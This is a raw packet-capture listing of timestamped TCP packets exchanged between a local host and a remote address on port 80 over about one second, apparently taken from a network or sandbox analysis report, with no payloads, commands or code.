Dec 19, 2024 20:11:30.744927883 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.744940042 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.744968891 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.744991064 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.745004892 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.745026112 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.746232033 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.746340990 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.747126102 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.747371912 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.747484922 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.747522116 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.747637033 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.748411894 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.748507977 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.748877048 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.748963118 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.749597073 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.749660969 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.749711037 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.749831915 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.750868082 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.750974894 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.751013994 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.751070976 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.751926899 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.752048016 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.752074003 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.752161980 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.753096104 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.753192902 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.753217936 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.753295898 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.754215002 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.754308939 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.884288073 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.884305000 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.884375095 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.884787083 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.884936094 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.885138035 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.885459900 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.885493040 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.885515928 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.886269093 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.886327028 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.886482000 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.886535883 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.887362003 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.887413979 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.887562037 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.887701035 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.888519049 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.888624907 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.888705969 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.888789892 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.890017033 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.890089989 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.890356064 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.890414000 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.891364098 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.891462088 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.891526937 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.891659975 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.892549992 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.892556906 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.892632961 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.893743038 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.893793106 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.893893003 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.894015074 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.894494057 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.894757986 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.894772053 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.894854069 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.895704031 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.895785093 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.896003008 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.896054983 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.896851063 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.897037029 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.897064924 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.897084951 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.898170948 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.898370981 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.898401022 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.898457050 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.899173975 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.899305105 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.899352074 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.899504900 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.900363922 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.900409937 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.900702953 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.900897980 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.901469946 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.901532888 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.901834011 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.901922941 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.902671099 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.902733088 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.902959108 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.903008938 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.903834105 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.903963089 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.904850960 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.905108929 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.905143976 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.905236959 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.905345917 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.905538082 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.906429052 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.906435966 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.906528950 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.907577038 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.907646894 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.907665968 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.907696009 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.908395052 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.908456087 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.908490896 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.908549070 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.909403086 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.909499884 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.909725904 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.909796000 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.910530090 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.910657883 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.911015034 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.911072969 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.911732912 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.911797047 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.911942005 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.912434101 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.912878990 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.912950993 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.916083097 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.916115046 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.916127920 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.916138887 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.916141033 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.916173935 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.916392088 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.916488886 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.916896105 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.916958094 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.917179108 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.917253017 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.918119907 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.918278933 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.918304920 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.918488979 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.919326067 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.919333935 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.919471025 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.920443058 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.920511961 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.920623064 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.920698881 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.921493053 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.921600103 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.921662092 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.921932936 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.922825098 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.922939062 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.923289061 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.923352003 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.923945904 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.924015045 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.924890041 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.925086021 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.925092936 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.925199032 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.926498890 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.926558971 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.926563025 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.926610947 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.927640915 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.927648067 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.927726030 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.928822994 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.928926945 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.929112911 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.929169893 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.929886103 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.929893017 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.929948092 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.931130886 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.931138039 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.931212902 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.932204962 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.932256937 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.932432890 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.932506084 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.933532953 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.933634043 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.933656931 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.933732033 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.934485912 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.934854031 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.934962034 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.935837984 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.935910940 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.936659098 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.936733007 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.937097073 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.937155962 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.937230110 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.937278986 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.938139915 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.938236952 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.938323975 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.938399076 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.939356089 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.939665079 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.939719915 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.940433979 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.940481901 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.940849066 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.941003084 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.941682100 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.941689014 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.941771984 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.942775011 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.943109035 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.943181038 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.944036007 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.944084883 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.944195032 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.944293022 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.945131063 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.945595980 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.945799112 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:31.076152086 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:31.076630116 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:31.076674938 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:31.076683998 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:31.076725960 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:31.076749086 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:31.076751947 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:31.076817036 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:31.077821970 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:31.077873945 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:31.078000069 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:31.078249931 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:31.079061985 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:31.079149961 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:31.079186916 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:31.079236031 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:31.080267906 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:31.080318928 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:31.080491066 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:31.080868959 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:31.081358910 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:31.081545115 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:31.082091093 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:31.082138062 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:31.082607031 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:31.082616091 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:31.082700968 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:31.083739996 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:31.084023952 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:31.084111929 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:31.084213018 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:31.085165977 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:31.085172892 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:31.085258007 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:31.086195946 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:31.086246967 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:31.086769104 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:31.086817980 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:31.087342024 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:31.087393045 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:31.087831974 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:31.087904930 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:31.088507891 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:31.088566065 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:31.088619947 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:31.088669062 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:31.089678049 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:31.089730978 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:31.089790106 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:31.089972019 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:31.091204882 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:31.091212034 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:31.091264009 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:31.092180014 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:31.092238903 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:31.092319965 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:31.092394114 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:31.093269110 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:31.093321085 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:31.093564987 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:31.093656063 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:31.094455004 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:31.094615936 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:31.095274925 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:31.095494032 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:31.095524073 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:31.095530033 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:31.095693111 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:31.096862078 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:31.096975088 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:31.097381115 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:31.097467899 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:31.097881079 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:31.097927094 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:31.098237991 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:31.098285913 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:31.099046946 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:31.099098921 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:31.099134922 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:31.099184990 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:31.100275993 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:31.100367069 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:31.100941896 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:31.101031065 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:31.101501942 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:31.101587057 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:31.101783991 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:31.101881981 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:31.102598906 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:31.102685928 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:31.102865934 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:31.102929115 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:31.103760004 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:31.103818893 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:31.103941917 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:31.104003906 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:31.105032921 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:31.105086088 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:31.105576992 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:31.105633974 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:31.106147051 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:31.106197119 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:31.106266975 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:31.106391907 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:31.107340097 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:31.107489109 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:31.107512951 CET	80	49815	31.41.244.11	192.168.2.4
